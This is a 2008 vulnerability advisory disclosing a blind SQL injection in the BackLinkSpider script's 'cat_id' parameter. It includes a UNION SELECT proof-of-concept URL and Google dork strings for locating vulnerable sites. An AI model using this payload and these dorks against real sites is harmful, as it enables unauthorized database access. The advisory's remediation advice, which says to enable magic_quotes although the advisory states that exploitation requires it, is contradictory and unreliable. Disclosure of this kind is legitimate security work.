ECHO_ADV_95$2008 ------------------------------------------------------------------------ ----------------- [ECHO_ADV_95$2008] BackLinkSpider (cat_id) Blind Sql Injection Vulnerability ------------------------------------------------------------------------ ----------------- Author : M.Hasran Addahroni Date : May, 5 th 2008 Location : Jakarta, Indonesia Web : http://advisories.echo.or.id/adv/adv95-K-159-2008.txt Critical Lvl : Medium Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : BackLinkSpider version : unknown Vendor : http://www.backlinkspider.com/ Description : BackLinkSpider is a free link exchange service designed to provide you with access to a growing number of link exchange partners in our link directory page ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ Input passed to the "cat_id" parameter in backlinkspider's page is not properly verified before being used to sql query. This can be exploited to execute sql query through the browser. Successful exploitation requires that "magic_quotes" is enabled. Poc/Exploit: ~~~~~~~~~~ http://www.target.com/[backlinkspider_page_name].php?cat_id=[SQL] http://www.target.com/[backlinkspider_page_name].php?cat_id=-1%20union%2 0select%201,2,3,4,5,6,7,8,9,0,1,version(),3,4,5,6,7,8,9,0/* Dork: ~~~~~ Google : "Powered By BackLinkSpider" "inurl:backlinkspider.php" Solution: ~~~~~~~ - Edit the source code to ensure that input is properly verified. - Turn on magic_quotes in php.ini Timeline: ~~~~~~~~~ - 03 - 05 - 2008 bug found - 05 - 05 - 2008 advisory released ------------------------------------------------------------------------ --- Shoutz: ~~~~~ ~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke ~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b ~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel #e-c-h-o @irc.dal.net ~ special for rgod - good bye mate, thanks for the great works. ------------------------------------------------------------------------ --- Contact: ~~~~~~ K-159 || echo|staff || eufrato[at]gmail[dot]com Homepage: http://k-159.echo.or.id/ -------------------------------- [ EOF ] ----------------------------------